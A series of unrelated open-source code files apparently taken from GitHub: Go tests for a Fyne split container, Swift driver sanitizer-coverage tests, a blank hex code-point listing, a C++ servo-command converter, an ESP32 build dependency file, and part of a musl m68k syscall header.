assert.Equal(t, 50, sizeB.Height)
})
})
t.Run("Vertical", func(t *testing.T) {
sc := NewVSplitContainer(objA, objB)
t.Run("Leading", func(t *testing.T) {
sc.SetOffset(1.0)
sc.Resize(fyne.NewSize(50, 200))
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 50, sizeA.Width)
assert.Equal(t, 150-dividerThickness(), sizeA.Height)
assert.Equal(t, 50, sizeB.Width)
assert.Equal(t, 50, sizeB.Height)
})
t.Run("Trailing", func(t *testing.T) {
sc.SetOffset(0.0)
sc.Resize(fyne.NewSize(50, 200))
sizeA := objA.Size()
sizeB := objB.Size()
assert.Equal(t, 50, sizeA.Width)
assert.Equal(t, 50, sizeA.Height)
assert.Equal(t, 50, sizeB.Width)
assert.Equal(t, 150-dividerThickness(), sizeB.Height)
})
})
}
func TestSplitContainer_divider_cursor(t *testing.T) {
t.Run("Horizontal", func(t *testing.T) {
divider := newDivider(&SplitContainer{Horizontal: true})
assert.Equal(t, desktop.HResizeCursor, divider.Cursor())
})
t.Run("Vertical", func(t *testing.T) {
divider := newDivider(&SplitContainer{Horizontal: false})
assert.Equal(t, desktop.VResizeCursor, divider.Cursor())
})
}
func TestSplitContainer_divider_drag(t *testing.T) {
size := fyne.NewSize(10, 10)
objA := canvas.NewRectangle(color.NRGBA{0, 0, 0, 0})
objA.SetMinSize(size)
objB := canvas.NewRectangle(color.NRGBA{0, 0, 0, 0})
objB.SetMinSize(size)
t.Run("Horizontal", func(t *testing.T) {
split := NewHSplitContainer(objA, objB)
split.Resize(fyne.NewSize(100, 100))
divider := newDivider(split)
assert.Equal(t, 0.5, split.Offset)
divider.Dragged(&fyne.DragEvent{
PointEvent: fyne.PointEvent{Position: fyne.NewPos(20, 9)},
DraggedX: 10,
DraggedY: -1,
})
assert.Equal(t, 0.6, split.Offset)
divider.DragEnd()
assert.Equal(t, 0.6, split.Offset)
})
t.Run("Vertical", func(t *testing.T) {
split := NewVSplitContainer(objA, objB)
split.Resize(fyne.NewSize(100, 100))
divider := newDivider(split)
assert.Equal(t, 0.5, split.Offset)
divider.Dragged(&fyne.DragEvent{
PointEvent: fyne.PointEvent{Position: fyne.NewPos(9, 20)},
DraggedX: -1,
DraggedY: 10,
})
assert.Equal(t, 0.6, split.Offset)
divider.DragEnd()
assert.Equal(t, 0.6, split.Offset)
})
}
func TestSplitContainer_divider_hover(t *testing.T) {
t.Run("Horizontal", func(t *testing.T) {
divider := newDivider(&SplitContainer{Horizontal: true})
assert.False(t, divider.hovered)
divider.MouseIn(&desktop.MouseEvent{})
assert.True(t, divider.hovered)
divider.MouseOut()
assert.False(t, divider.hovered)
})
t.Run("Vertical", func(t *testing.T) {
divider := newDivider(&SplitContainer{Horizontal: false})
assert.False(t, divider.hovered)
divider.MouseIn(&desktop.MouseEvent{})
assert.True(t, divider.hovered)
divider.MouseOut()
assert.False(t, divider.hovered)
})
}
func TestSplitContainer_divider_MinSize(t *testing.T) {
t.Run("Horizontal", func(t *testing.T) {
divider := newDivider(&SplitContainer{Horizontal: true})
min := divider.MinSize()
assert.Equal(t, dividerThickness(), min.Width)
assert.Equal(t, dividerLength(), min.Height)
})
t.Run("Vertical", func(t *testing.T) {
divider := newDivider(&SplitContainer{Horizontal: false})
min := divider.MinSize()
assert.Equal(t, dividerLength(), min.Width)
assert.Equal(t, dividerThickness(), min.Height)
})
}
|
{
"pile_set_name": "Github"
}
|
// XFAIL: linux
// Different sanitizer coverage types
// RUN: %swiftc_driver -driver-print-jobs -sanitize-coverage=func -sanitize=address %s | %FileCheck -check-prefix=SANCOV_FUNC %s
// RUN: %swiftc_driver -driver-print-jobs -sanitize-coverage=bb -sanitize=address %s | %FileCheck -check-prefix=SANCOV_BB %s
// RUN: %swiftc_driver -driver-print-jobs -sanitize-coverage=edge -sanitize=address %s | %FileCheck -check-prefix=SANCOV_EDGE %s
// Try some options
// RUN: %swiftc_driver -driver-print-jobs -sanitize-coverage=edge,indirect-calls,trace-bb,trace-cmp,8bit-counters -sanitize=address %s | %FileCheck -check-prefix=SANCOV_EDGE_WITH_OPTIONS %s
// Invalid command line arguments
// RUN: not %swiftc_driver -driver-print-jobs -sanitize-coverage=func %s 2>&1 | %FileCheck -check-prefix=SANCOV_WITHOUT_XSAN %s
// RUN: not %swiftc_driver -driver-print-jobs -sanitize-coverage=bb %s 2>&1 | %FileCheck -check-prefix=SANCOV_WITHOUT_XSAN %s
// RUN: not %swiftc_driver -driver-print-jobs -sanitize-coverage=edge %s 2>&1 | %FileCheck -check-prefix=SANCOV_WITHOUT_XSAN %s
// RUN: not %swiftc_driver -driver-print-jobs -sanitize=address -sanitize-coverage=unknown %s 2>&1 | %FileCheck -check-prefix=SANCOV_BAD_ARG %s
// RUN: not %swiftc_driver -driver-print-jobs -sanitize=address -sanitize-coverage=indirect-calls %s 2>&1 | %FileCheck -check-prefix=SANCOV_MISSING_ARG %s
// RUN: not %swiftc_driver -driver-print-jobs -sanitize=address -sanitize-coverage=trace-bb %s 2>&1 | %FileCheck -check-prefix=SANCOV_MISSING_ARG %s
// RUN: not %swiftc_driver -driver-print-jobs -sanitize=address -sanitize-coverage=trace-cmp %s 2>&1 | %FileCheck -check-prefix=SANCOV_MISSING_ARG %s
// RUN: not %swiftc_driver -driver-print-jobs -sanitize=address -sanitize-coverage=8bit-counters %s 2>&1 | %FileCheck -check-prefix=SANCOV_MISSING_ARG %s
// SANCOV_FUNC: swift
// SANCOV_FUNC-DAG: -sanitize-coverage=func
// SANCOV_FUNC-DAG: -sanitize=address
// SANCOV_BB: swift
// SANCOV_BB-DAG: -sanitize-coverage=bb
// SANCOV_BB-DAG: -sanitize=address
// SANCOV_EDGE: swift
// SANCOV_EDGE-DAG: -sanitize-coverage=edge
// SANCOV_EDGE-DAG: -sanitize=address
// SANCOV_EDGE_WITH_OPTIONS: swift
// SANCOV_EDGE_WITH_OPTIONS-DAG: -sanitize-coverage=edge,indirect-calls,trace-bb,trace-cmp,8bit-counters
// SANCOV_EDGE_WITH_OPTIONS-DAG: -sanitize=address
// SANCOV_WITHOUT_XSAN: option '-sanitize-coverage=' requires a sanitizer to be enabled. Use -sanitize= to enable a sanitizer
// SANCOV_BAD_ARG: unsupported argument 'unknown' to option '-sanitize-coverage='
// SANCOV_MISSING_ARG: error: option '-sanitize-coverage=' is missing a required argument ("func", "bb", "edge")
|
{
"pile_set_name": "Github"
}
|
2BE00:
2BE01:
2BE02:
2BE03:
2BE04:
2BE05:
2BE06:
2BE07:
2BE08:
2BE09:
2BE0A:
2BE0B:
2BE0C:
2BE0D:
2BE0E:
2BE0F:
2BE10:
2BE11:
2BE12:
2BE13:
2BE14:
2BE15:
2BE16:
2BE17:
2BE18:
2BE19:
2BE1A:
2BE1B:
2BE1C:
2BE1D:
2BE1E:
2BE1F:
2BE20:
2BE21:
2BE22:
2BE23:
2BE24:
2BE25:
2BE26:
2BE27:
2BE28:
2BE29:
2BE2A:
2BE2B:
2BE2C:
2BE2D:
2BE2E:
2BE2F:
2BE30:
2BE31:
2BE32:
2BE33:
2BE34:
2BE35:
2BE36:
2BE37:
2BE38:
2BE39:
2BE3A:
2BE3B:
2BE3C:
2BE3D:
2BE3E:
2BE3F:
2BE40:
2BE41:
2BE42:
2BE43:
2BE44:
2BE45:
2BE46:
2BE47:
2BE48:
2BE49:
2BE4A:
2BE4B:
2BE4C:
2BE4D:
2BE4E:
2BE4F:
2BE50:
2BE51:
2BE52:
2BE53:
2BE54:
2BE55:
2BE56:
2BE57:
2BE58:
2BE59:
2BE5A:
2BE5B:
2BE5C:
2BE5D:
2BE5E:
2BE5F:
2BE60:
2BE61:
2BE62:
2BE63:
2BE64:
2BE65:
2BE66:
2BE67:
2BE68:
2BE69:
2BE6A:
2BE6B:
2BE6C:
2BE6D:
2BE6E:
2BE6F:
2BE70:
2BE71:
2BE72:
2BE73:
2BE74:
2BE75:
2BE76:
2BE77:
2BE78:
2BE79:
2BE7A:
2BE7B:
2BE7C:
2BE7D:
2BE7E:
2BE7F:
2BE80:
2BE81:
2BE82:
2BE83:
2BE84:
2BE85:
2BE86:
2BE87:
2BE88:
2BE89:
2BE8A:
2BE8B:
2BE8C:
2BE8D:
2BE8E:
2BE8F:
2BE90:
2BE91:
2BE92:
2BE93:
2BE94:
2BE95:
2BE96:
2BE97:
2BE98:
2BE99:
2BE9A:
2BE9B:
2BE9C:
2BE9D:
2BE9E:
2BE9F:
2BEA0:
2BEA1:
2BEA2:
2BEA3:
2BEA4:
2BEA5:
2BEA6:
2BEA7:
2BEA8:
2BEA9:
2BEAA:
2BEAB:
2BEAC:
2BEAD:
2BEAE:
2BEAF:
2BEB0:
2BEB1:
2BEB2:
2BEB3:
2BEB4:
2BEB5:
2BEB6:
2BEB7:
2BEB8:
2BEB9:
2BEBA:
2BEBB:
2BEBC:
2BEBD:
2BEBE:
2BEBF:
2BEC0:
2BEC1:
2BEC2:
2BEC3:
2BEC4:
2BEC5:
2BEC6:
2BEC7:
2BEC8:
2BEC9:
2BECA:
2BECB:
2BECC:
2BECD:
2BECE:
2BECF:
2BED0:
2BED1:
2BED2:
2BED3:
2BED4:
2BED5:
2BED6:
2BED7:
2BED8:
2BED9:
2BEDA:
2BEDB:
2BEDC:
2BEDD:
2BEDE:
2BEDF:
2BEE0:
2BEE1:
2BEE2:
2BEE3:
2BEE4:
2BEE5:
2BEE6:
2BEE7:
2BEE8:
2BEE9:
2BEEA:
2BEEB:
2BEEC:
2BEED:
2BEEE:
2BEEF:
2BEF0:
2BEF1:
2BEF2:
2BEF3:
2BEF4:
2BEF5:
2BEF6:
2BEF7:
2BEF8:
2BEF9:
2BEFA:
2BEFB:
2BEFC:
2BEFD:
2BEFE:
2BEFF:
|
{
"pile_set_name": "Github"
}
|
#include "ServoConverter.hpp"
ServoConverter::ServoConverter(BotParam *param) {
rad_to_servo_.elevL_slope = bot_param_get_double_or_fail(param, "servo_commands.radians_to_servo.elevL_slope");
rad_to_servo_.elevL_y_intercept = bot_param_get_double_or_fail(param, "servo_commands.radians_to_servo.elevL_y_intercept");
rad_to_servo_.elevR_slope = bot_param_get_double_or_fail(param, "servo_commands.radians_to_servo.elevR_slope");
rad_to_servo_.elevR_y_intercept = bot_param_get_double_or_fail(param, "servo_commands.radians_to_servo.elevR_y_intercept");
rad_to_servo_.throttle_slope = bot_param_get_double_or_fail(param, "servo_commands.radians_to_servo.throttle_slope");
rad_to_servo_.throttle_y_intercept = bot_param_get_double_or_fail(param, "servo_commands.radians_to_servo.throttle_y_intercept");
servo_to_rad_.elevL_slope = bot_param_get_double_or_fail(param, "servo_commands.servo_to_radians.elevL_slope");
servo_to_rad_.elevL_y_intercept = bot_param_get_double_or_fail(param, "servo_commands.servo_to_radians.elevL_y_intercept");
servo_to_rad_.elevR_slope = bot_param_get_double_or_fail(param, "servo_commands.servo_to_radians.elevR_slope");
servo_to_rad_.elevR_y_intercept = bot_param_get_double_or_fail(param, "servo_commands.servo_to_radians.elevR_y_intercept");
servo_to_rad_.throttle_slope = bot_param_get_double_or_fail(param, "servo_commands.servo_to_radians.throttle_slope");
servo_to_rad_.throttle_y_intercept = bot_param_get_double_or_fail(param, "servo_commands.servo_to_radians.throttle_y_intercept");
elevL_min_ = bot_param_get_int_or_fail(param, "servo_commands.elevL_min");
elevL_max_ = bot_param_get_int_or_fail(param, "servo_commands.elevL_max");
elevR_min_ = bot_param_get_int_or_fail(param, "servo_commands.elevR_min");
elevR_max_ = bot_param_get_int_or_fail(param, "servo_commands.elevR_max");
throttle_min_ = bot_param_get_int_or_fail(param, "servo_commands.throttle_min");
throttle_max_ = bot_param_get_int_or_fail(param, "servo_commands.throttle_max");
elevL_trim_ = bot_param_get_int_or_fail(param, "servo_commands.elevL_flight_trim");
elevR_trim_ = bot_param_get_int_or_fail(param, "servo_commands.elevR_flight_trim");
throttle_trim_ = bot_param_get_int_or_fail(param, "servo_commands.throttle_flight_trim");
}
Eigen::Vector3i ServoConverter::RadiansToServoCommands(Eigen::Vector3d commands) const {
Eigen::Vector3i output;
output(0) = round(commands(0) * rad_to_servo_.elevL_slope + rad_to_servo_.elevL_y_intercept);
output(1) = round(commands(1) * rad_to_servo_.elevR_slope + rad_to_servo_.elevR_y_intercept);
if (commands(2) <= 0) {
// throttle = 0
output(2) = throttle_min_;
} else {
output(2) = round(commands(2) * rad_to_servo_.throttle_slope + rad_to_servo_.throttle_y_intercept);
}
return MinMaxCommands(output);
}
Eigen::Vector3d ServoConverter::ServoCommandsToRadians(Eigen::Vector3i commands) const {
Eigen::Vector3d output;
commands = MinMaxCommands(commands);
output(0) = commands(0) * servo_to_rad_.elevL_slope + servo_to_rad_.elevL_y_intercept;
output(1) = commands(1) * servo_to_rad_.elevR_slope + servo_to_rad_.elevR_y_intercept;
output(2) = commands(2) * servo_to_rad_.throttle_slope + servo_to_rad_.throttle_y_intercept;
return output;
}
Eigen::Vector3i ServoConverter::MinMaxCommands(Eigen::Vector3i commands) const {
Eigen::Vector3i output;
output(0) = std::max(commands(0), elevL_min_);
output(0) = std::min(output(0), elevL_max_);
output(1) = std::max(commands(1), elevR_min_);
output(1) = std::min(output(1), elevR_max_);
output(2) = std::max(commands(2), throttle_min_);
output(2) = std::min(output(2), throttle_max_);
return output;
}
Eigen::Vector3i ServoConverter::GetTrimCommands() const {
Eigen::Vector3i output;
output(0) = elevL_trim_;
output(1) = elevR_trim_;
output(2) = throttle_trim_;
return output;
}
|
{
"pile_set_name": "Github"
}
|
app_trace_util.o: \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/app_trace/app_trace_util.c \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/FreeRTOS.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/reent.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/_ansi.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/newlib.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/config.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/ieeefp.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/features.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/core-isa.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/_types.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/_types.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/_default_types.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/lock.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/stdint.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/_intsup.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/FreeRTOSConfig.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/app/build/include/sdkconfig.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/xtensa_config.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/hal.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/core.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/xtensa-versions.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/core-matmap.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/tie.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/system.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/xtensa_context.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/corebits.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/xtruntime-frames.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/stdlib.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/_ansi.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/cdefs.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/stdlib.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/alloca.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/rom/ets_sys.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/soc.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_assert.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/platform_include/assert.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/assert.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/projdefs.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/portable.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/deprecated_definitions.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/portmacro.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/tie/xt_core.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/xtruntime.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/specreg.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/xtruntime-core-state.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_crosscore_int.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_timer.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/stdio.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/types.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/types.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/sched.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/stdio.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_err.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/heap/include/esp_heap_caps.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/heap/include/multi_heap.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/include/soc/soc_memory_layout.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_attr.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/portbenchmark.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/mpu_wrappers.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_system.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_sleep.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/driver/include/driver/gpio.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_types.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/gpio_reg.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/soc.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/gpio_struct.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/rtc_io_reg.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/io_mux_reg.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/gpio_sig_map.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/rom/gpio.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_intr_alloc.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/driver/include/driver/touch_pad.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_intr.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/rom/ets_sys.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/xtensa_api.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/touch_channel.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/task.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/limits.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/list.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/app_trace/include/esp_app_trace_util.h \
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_clk.h
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/FreeRTOS.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/reent.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/_ansi.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/newlib.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/config.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/ieeefp.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/features.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/core-isa.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/_types.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/_types.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/_default_types.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/lock.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/stdint.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/_intsup.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/FreeRTOSConfig.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/app/build/include/sdkconfig.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/xtensa_config.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/hal.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/core.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/xtensa-versions.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/core-matmap.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/tie.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/system.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/xtensa_context.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/corebits.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/xtruntime-frames.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/stdlib.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/_ansi.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/cdefs.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/stdlib.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/alloca.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/rom/ets_sys.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/soc.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_assert.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/platform_include/assert.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/assert.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/projdefs.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/portable.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/deprecated_definitions.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/portmacro.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/tie/xt_core.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/xtruntime.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/config/specreg.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/xtensa/xtruntime-core-state.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_crosscore_int.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_timer.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/stdio.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/types.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/machine/types.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/sched.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/sys/stdio.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_err.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/heap/include/esp_heap_caps.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/heap/include/multi_heap.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/include/soc/soc_memory_layout.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_attr.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/portbenchmark.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/mpu_wrappers.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_system.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_sleep.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/driver/include/driver/gpio.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_types.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/gpio_reg.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/soc.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/gpio_struct.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/rtc_io_reg.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/io_mux_reg.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/gpio_sig_map.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/rom/gpio.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_intr_alloc.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/driver/include/driver/touch_pad.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_intr.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/rom/ets_sys.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/xtensa_api.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/soc/esp32/include/soc/touch_channel.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/task.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/newlib/include/limits.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/freertos/include/freertos/list.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/app_trace/include/esp_app_trace_util.h:
D:/Project/ESP32/sdk/esp-idf-v3.0/components/esp32/include/esp_clk.h:
/d/Project/ESP32/sdk/esp-idf-v3.0/components/app_trace/./app_trace_util.c:
|
{
"pile_set_name": "Github"
}
|
#define __SYSCALL_LL_E(x) \
((union { long long ll; long l[2]; }){ .ll = x }).l[0], \
((union { long long ll; long l[2]; }){ .ll = x }).l[1]
#define __SYSCALL_LL_O(x) __SYSCALL_LL_E((x))
static __inline long __syscall0(long n)
{
register unsigned long d0 __asm__("d0") = n;
__asm__ __volatile__ ("trap #0" : "+r"(d0)
:
: "memory");
return d0;
}
static inline long __syscall1(long n, long a)
{
register unsigned long d0 __asm__("d0") = n;
register unsigned long d1 __asm__("d1") = a;
__asm__ __volatile__ ("trap #0" : "+r"(d0)
: "r"(d1)
: "memory");
return d0;
}
static inline long __syscall2(long n, long a, long b)
{
register unsigned long d0 __asm__("d0") = n;
register unsigned long d1 __asm__("d1") = a;
register unsigned long d2 __asm__("d2") = b;
__asm__ __volatile__ ("trap #0" : "+r"(d0)
: "r"(d1), "r"(d2)
: "memory");
return d0;
}
static inline long __syscall3(long n, long a, long b, long c)
{
register unsigned long d0 __asm__("d0") = n;
register unsigned long d1 __asm__("d1") = a;
register unsigned long d2 __asm__("d2") = b;
register unsigned long d3 __asm__("d3") = c;
__asm__ __volatile__ ("trap #0" : "+r"(d0)
: "r"(d1), "r"(d2), "r"(d3)
: "memory");
return d0;
}
static inline long __syscall4(long n, long a, long b, long c, long d)
{
register unsigned long d0 __asm__("d0") = n;
register unsigned long d1 __asm__("d1") = a;
register unsigned long d2 __asm__("d2") = b;
register unsigned long d3 __asm__("d3") = c;
register unsigned long d4 __asm__("d4") = d;
__asm__ __volatile__ ("trap #0" : "+r"(d0)
